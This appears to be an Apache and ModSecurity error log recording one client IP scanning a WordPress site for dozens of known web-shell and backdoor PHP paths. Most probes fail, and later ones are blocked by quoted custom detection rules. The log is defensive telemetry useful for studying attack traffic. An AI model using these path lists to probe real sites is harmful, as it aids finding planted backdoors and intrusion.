[Thu Apr 02 13:17:16.595065 2026] [:error] [pid 29467:tid 29492] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Thu Apr 02 13:17:16.689243 2026] [:error] [pid 29467:tid 29478] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Thu Apr 02 13:17:16.784463 2026] [:error] [pid 29467:tid 29483] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-user.php
[Thu Apr 02 13:17:16.887357 2026] [:error] [pid 29467:tid 29481] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wpn.php
[Thu Apr 02 13:17:16.989931 2026] [:error] [pid 29467:tid 29489] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Thu Apr 02 13:17:17.086086 2026] [:error] [pid 29467:tid 29471] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/lock.php
[Thu Apr 02 13:17:17.186106 2026] [:error] [pid 29467:tid 29490] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/special.php
[Thu Apr 02 13:17:17.279804 2026] [:error] [pid 29467:tid 29472] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/webdb.php
[Thu Apr 02 13:17:17.373163 2026] [:error] [pid 29467:tid 29491] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php
[Thu Apr 02 13:17:17.478908 2026] [:error] [pid 29467:tid 29479] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Thu Apr 02 13:17:17.573445 2026] [:error] [pid 29467:tid 29470] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Thu Apr 02 13:17:19.328487 2026] [:error] [pid 29467:tid 29470] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/system_log.php
[Thu Apr 02 13:17:19.427824 2026] [:error] [pid 29467:tid 29481] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/.alf.php
[Thu Apr 02 13:17:19.525327 2026] [:error] [pid 29467:tid 29471] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Thu Apr 02 13:17:19.618867 2026] [:error] [pid 29467:tid 29490] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/cc.php
[Thu Apr 02 13:17:19.711764 2026] [:error] [pid 29467:tid 29472] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Thu Apr 02 13:17:19.804385 2026] [:error] [pid 29467:tid 29491] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Thu Apr 02 13:17:19.898094 2026] [:error] [pid 29467:tid 29480] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Thu Apr 02 13:17:19.992205 2026] [:error] [pid 29467:tid 29479] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Thu Apr 02 13:17:20.084572 2026] [:error] [pid 29467:tid 29483] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links-opml.php
[Thu Apr 02 13:17:20.178127 2026] [:error] [pid 29467:tid 29476] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/xp.php
[Thu Apr 02 13:17:20.271570 2026] [:error] [pid 29467:tid 29474] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/mar.php
[Thu Apr 02 13:17:20.365330 2026] [:error] [pid 29467:tid 29494] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Thu Apr 02 13:17:20.458442 2026] [:error] [pid 29467:tid 29477] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php
[Thu Apr 02 13:17:20.554476 2026] [:error] [pid 29467:tid 29488] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/xl2023.php
[Thu Apr 02 13:17:20.646520 2026] [:error] [pid 29467:tid 29475] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/go.php
[Thu Apr 02 13:17:20.740911 2026] [:error] [pid 29467:tid 29482] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Thu Apr 02 13:17:20.835768 2026] [:error] [pid 29467:tid 29473] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
[Thu Apr 02 13:17:20.929677 2026] [:error] [pid 29467:tid 29478] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-content.php
[Thu Apr 02 13:17:21.023029 2026] [:error] [pid 29467:tid 29470] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/customize.php
[Thu Apr 02 13:17:21.116968 2026] [:error] [pid 29467:tid 29481] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/license.php
[Thu Apr 02 13:17:21.209680 2026] [:error] [pid 29467:tid 29472] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/ff2.php
[Thu Apr 02 13:17:21.303686 2026] [:error] [pid 29467:tid 29491] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Thu Apr 02 13:17:21.395556 2026] [:error] [pid 29467:tid 29492] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atom.php
[Thu Apr 02 13:17:21.489486 2026] [:error] [pid 29467:tid 29486] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/up.php
[Thu Apr 02 13:17:21.586547 2026] [:error] [pid 29467:tid 29480] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Thu Apr 02 13:17:21.684056 2026] [:error] [pid 29467:tid 29484] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Thu Apr 02 13:17:21.777752 2026] [:error] [pid 29467:tid 29483] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/index2.php
[Thu Apr 02 13:17:21.869951 2026] [:error] [pid 29467:tid 29474] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php
[Thu Apr 02 13:17:21.962739 2026] [:error] [pid 29467:tid 29477] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Thu Apr 02 13:17:22.061415 2026] [:error] [pid 29467:tid 29488] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/dir.php
[Thu Apr 02 13:17:22.154798 2026] [:error] [pid 29467:tid 29475] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/filefuns.php
[Thu Apr 02 13:17:22.247055 2026] [:error] [pid 29467:tid 29482] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/nf_tracking.php
[Thu Apr 02 13:17:22.339446 2026] [:error] [pid 29467:tid 29490] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/l.php
[Thu Apr 02 13:17:22.433952 2026] [:error] [pid 29467:tid 29480] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/contacts.php
[Thu Apr 02 13:17:22.527600 2026] [:error] [pid 29467:tid 29475] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wsa.php
[Thu Apr 02 13:17:22.621791 2026] [:error] [pid 29467:tid 29472] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/lv.php
[Thu Apr 02 13:17:22.713893 2026] [:error] [pid 29467:tid 29486] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/tox.php
[Thu Apr 02 13:17:22.808723 2026] [:error] [pid 29467:tid 29484] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-users.php
[Thu Apr 02 13:17:22.901731 2026] [:error] [pid 29467:tid 29472] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/elp.php
[Thu Apr 02 13:17:22.997517 2026] [:error] [pid 29467:tid 29483] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/mariju.php
[Thu Apr 02 13:17:23.093548 2026] [:error] [pid 29467:tid 29470] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Thu Apr 02 13:17:24.789121 2026] [:error] [pid 29467:tid 29470] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/Simple.php
[Thu Apr 02 13:17:24.888722 2026] [:error] [pid 29467:tid 29479] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/NewFile.php
[Thu Apr 02 13:17:24.982327 2026] [:error] [pid 29467:tid 29485] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/error.php
[Thu Apr 02 13:17:25.078357 2026] [:error] [pid 29467:tid 29484] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-files.php
[Thu Apr 02 13:17:25.171849 2026] [:error] [pid 29467:tid 29478] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/functions.php
[Thu Apr 02 13:17:25.265330 2026] [:error] [pid 29467:tid 29493] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/litespeed.php
[Thu Apr 02 13:17:25.357618 2026] [:error] [pid 29467:tid 29492] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Thu Apr 02 13:17:25.451699 2026] [:error] [pid 29467:tid 29488] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-themes.php
[Thu Apr 02 13:17:25.545212 2026] [:error] [pid 29467:tid 29483] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/Sanskrit.php
[Thu Apr 02 13:17:25.637780 2026] [:error] [pid 29467:tid 29491] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-fmfile.php
[Thu Apr 02 13:17:25.731694 2026] [:error] [pid 29467:tid 29476] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/gm.php
[Thu Apr 02 13:17:25.833463 2026] [:error] [pid 29467:tid 29474] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/memberfuns.php
[Thu Apr 02 13:17:25.926257 2026] [:error] [pid 29467:tid 29473] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/infos.php
[Thu Apr 02 13:17:26.020087 2026] [:error] [pid 29467:tid 29470] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/options-writing.php
[Thu Apr 02 13:17:26.114213 2026] [:error] [pid 29467:tid 29479] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/options-reading.php
[Thu Apr 02 13:17:26.208502 2026] [:error] [pid 29467:tid 29485] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wsad.php
[Thu Apr 02 13:17:26.302087 2026] [:error] [pid 29467:tid 29487] [client 151.240.33.19:48480] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atomx.php
[Thu Apr 02 13:17:26.484842 2026] [:error] [pid 23927:tid 23936] [client 151.240.33.19:57372] File does not exist: /usr/local/apache/htdocs/suspended-page/XxX.php
[Thu Apr 02 13:17:26.579640 2026] [:error] [pid 23927:tid 23948] [client 151.240.33.19:57372] File does not exist: /usr/local/apache/htdocs/suspended-page/xex.php
[Thu Apr 02 13:17:26.672344 2026] [:error] [pid 23927:tid 23934] [client 151.240.33.19:57372] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-head.php
[Thu Apr 02 13:17:26.766330 2026] [:error] [pid 23927:tid 23944] [client 151.240.33.19:57372] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php
[Thu Apr 02 13:17:26.858835 2026] [:error] [pid 23927:tid 23953] [client 151.240.33.19:57372] File does not exist: /usr/local/apache/htdocs/suspended-page/cong.php
[Thu Apr 02 13:17:26.955902 2026] [:error] [pid 23927:tid 23951] [client 151.240.33.19:57372] File does not exist: /usr/local/apache/htdocs/suspended-page/click.php
[Thu Apr 02 13:17:27.050901 2026] [:error] [pid 23927:tid 23931] [client 151.240.33.19:57372] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-admin.php
[Thu Apr 02 13:17:27.241919 2026] [:error] [pid 23927:tid 23953] [client 151.240.33.19:57372] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-editor.php
[Thu Apr 02 13:17:27.521641 2026] [:error] [pid 23927:tid 23944] [client 151.240.33.19:57372] File does not exist: /usr/local/apache/htdocs/suspended-page/blog.php
[Thu Apr 02 13:17:29.256556 2026] [:error] [pid 23927:tid 23944] [client 151.240.33.19:57372] File does not exist: /usr/local/apache/htdocs/suspended-page/wikindex.php
[Thu Apr 02 13:17:29.352669 2026] [:error] [pid 23927:tid 23936] [client 151.240.33.19:57372] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-configs.php
[Thu Apr 02 13:17:30.740421 2026] [:error] [pid 23927:tid 23938] [client 151.240.33.19:57372] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "ac376ksZwqCndhl9uKAHSwAAAYk"]
[Thu Apr 02 13:17:31.252313 2026] [:error] [pid 23927:tid 23953] [client 151.240.33.19:57770] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "ac3760sZwqCndhl9uKAHUgAAAZg"]
[Thu Apr 02 13:17:31.811401 2026] [:error] [pid 37543:tid 37547] [client 151.240.33.19:57832] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "ac3763hdk2bEYJCvILZ9JQAAAUI"]
[Thu Apr 02 13:17:32.008673 2026] [:error] [pid 59305:tid 59328] [client 151.240.33.19:57910] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "ac377Kr2tV4rDwKFxKewhwAAANM"]
[Thu Apr 02 13:17:32.797586 2026] [:error] [pid 59200:tid 59261] [client 151.240.33.19:57950] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "ac377LfP26txrdLs3Eoy_QAAAFU"]
[Thu Apr 02 13:17:32.993203 2026] [:error] [pid 29467:tid 29473] [client 151.240.33.19:58028] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "ac377L4VUBFCJAq-WOmdggAAAQM"]
[Thu Apr 02 13:17:33.172521 2026] [:error] [pid 59305:tid 59333] [client 151.240.33.19:58054] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "ac377ar2tV4rDwKFxKewjAAAANg"]
[Thu Apr 02 13:17:33.368491 2026] [:error] [pid 29467:tid 29494] [client 151.240.33.19:58084] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "ac377b4VUBFCJAq-WOmdhAAAARg"]
[Thu Apr 02 13:17:33.569037 2026] [:error] [pid 59305:tid 59332] [client 151.240.33.19:58112] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "ac377ar2tV4rDwKFxKewjgAAANc"]
[Thu Apr 02 13:17:33.840766 2026] [:error] [pid 54384:tid 54390] [client 151.240.33.19:58146] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "ac377dWWpaby3TVN7MeQxAAAAcQ"]
[Thu Apr 02 13:17:34.238343 2026] [:error] [pid 54384:tid 54402] [client 151.240.33.19:54064] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "ac377tWWpaby3TVN7MeQ0wAAAdA"]
[Thu Apr 02 13:17:34.536742 2026] [:error] [pid 59305:tid 59315] [client 151.240.33.19:54100] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "ac377qr2tV4rDwKFxKewlAAAAMY"]
[Thu Apr 02 13:17:34.734314 2026] [:error] [pid 59305:tid 59333] [client 151.240.33.19:54140] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "ac377qr2tV4rDwKFxKewlwAAANg"]
[Thu Apr 02 13:17:35.288635 2026] [:error] [pid 59201:tid 59276] [client 151.240.33.19:54164] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "ac3778AC0Tw8eL6gzZ7LowAAAIk"]
[Thu Apr 02 13:17:35.466822 2026] [:error] [pid 23927:tid 23932] [client 151.240.33.19:54232] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "ac3770sZwqCndhl9uKAHnQAAAYM"]
[Thu Apr 02 13:17:35.736707 2026] [:error] [pid 59305:tid 59316] [client 151.240.33.19:54252] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "ac3776r2tV4rDwKFxKewsQAAAMc"]
[Thu Apr 02 13:17:36.034731 2026] [:error] [pid 54384:tid 54405] [client 151.240.33.19:54296] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "ac378NWWpaby3TVN7MeQ4wAAAdM"]
[Thu Apr 02 13:17:36.437174 2026] [:error] [pid 59305:tid 59309] [client 151.240.33.19:54312] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "ac378Kr2tV4rDwKFxKewygAAAMA"]
[Thu Apr 02 13:17:36.732367 2026] [:error] [pid 23927:tid 23930] [client 151.240.33.19:54352] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "ac378EsZwqCndhl9uKAHqwAAAYE"]
[Thu Apr 02 13:17:37.002366 2026] [:error] [pid 59305:tid 59326] [client 151.240.33.19:54408] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "ac378ar2tV4rDwKFxKew1wAAANE"]
[Thu Apr 02 13:17:37.205290 2026] [:error] [pid 59305:tid 59319] [client 151.240.33.19:54450] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "ac378ar2tV4rDwKFxKew3wAAAMo"]
[Thu Apr 02 13:17:37.715353 2026] [:error] [pid 59305:tid 59325] [client 151.240.33.19:54498] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "ac378ar2tV4rDwKFxKew9AAAANA"]
[Thu Apr 02 13:17:37.912652 2026] [:error] [pid 37543:tid 37550] [client 151.240.33.19:54582] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "ac378Xhdk2bEYJCvILZ9RQAAAUU"]
[Thu Apr 02 13:17:38.109580 2026] [:error] [pid 59305:tid 59323] [client 151.240.33.19:54602] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "ac378qr2tV4rDwKFxKew_gAAAM4"]
[Thu Apr 02 13:17:38.937020 2026] [:error] [pid 59305:tid 59311] [client 151.240.33.19:54622] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/admin.php"] [unique_id "ac378qr2tV4rDwKFxKexEgAAAMI"]
[Thu Apr 02 13:17:39.306677 2026] [:error] [pid 23927:tid 23934] [client 151.240.33.19:54726] [client 151.240.33.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 151.240.33.19, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "ac3780sZwqCndhl9uKAHygAAAYU"]
[Thu Apr 02 13:17:40.067583 2026] [:error] [pid 23927:tid 23938] [client 151.240.33.19:54726] [client 151.240.33.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "ac379EsZwqCndhl9uKAH3AAAAYk"]
